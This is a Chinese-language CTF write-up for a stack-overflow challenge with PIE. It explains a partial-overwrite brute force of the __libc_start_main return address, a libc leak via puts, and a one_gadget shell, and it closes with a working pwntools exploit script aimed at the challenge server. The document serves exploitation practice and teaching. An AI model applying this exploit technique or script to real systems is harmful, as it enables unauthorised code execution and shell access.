栈题没有堆题那么需要符号信息,所以这道题可以开局先用gclibc替换libc
再checksec一下
分析代码
程序流程很简单,有一个栈溢出,但是注意到只溢出了0x20个字节,去掉rbp的空间,只有0x18个字节。
一般这种程序的思路都是走栈迁移啥的,但是这道题不可行,主要原因在于这道题开了PIE
这让我没有办法在写入阶段定位到任何地址,故只能考虑通过puts泄露出一些信息后再进行利用。
但是如何让程序重新返回到这个函数呢?这个问题通过调试可以解答
观察ret时的栈数据,发现可以在返回地址附近存在一些地址,如果可以执行到这个地址位置,那么就可以重新执行主函数,然后再进一步利用
但是我们没有任何地方的地址可以绕过PIE,所以我们只能考虑通过partial overwrite来达到目的,目标就变成了,在__libc_start_main附近找一个地方,可以让esp + 0x18(pop 三次)。这样就能够在下次ret的时候成功返回到main的位置。
通过
ROPgadget --binary=libc.so.6 --offset 0x7ffff79e7000 | grep "pop"
通过--offset可以指定libc偏移地址,让我们的搜索变的更加方便
可以搜索带有libc偏移的gadget地址,我们把全部gadget复制出来,来寻找可以部分写入的地址
先尝试搜索所有修改最后一个字节的gadget(搜索的地址是 <0x7ffff7a08b97; __libc_start_main+231>)
结果没有找到,于是搜索修改最后两个字节的gadget(1/16爆破)
然后接下来就是,人肉符号执行:
最后找到一个合适的gadget,可以达到让esp + 0x18的目的。
覆盖到原来的地址后,直接用one_gadget就可以getshell。
EXP
from pwn import *
context.log_level = "debug"
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x4040))
gdb.attach(r,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(r,"b *{}".format(hex(addr)))
while True:
try:
#r = process('./easy_stack')
r = remote('nc.eonew.cn', 10004)
#debug(0xA53)
r.sendline('a' * 0x80 + 'b' * 0x8 + p16(0xad3f))
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x22d3f
log.success("libc_base: " + hex(libc_base))
one = [0x4f2c5, 0x4f322, 0x10a38c]
r.sendline('a' * 0x80 + 'b' * 0x8 + p64(libc_base + one[2]))
r.sendline("echo getshell")
r.recvuntil('getshell')
r.interactive()
except:
pass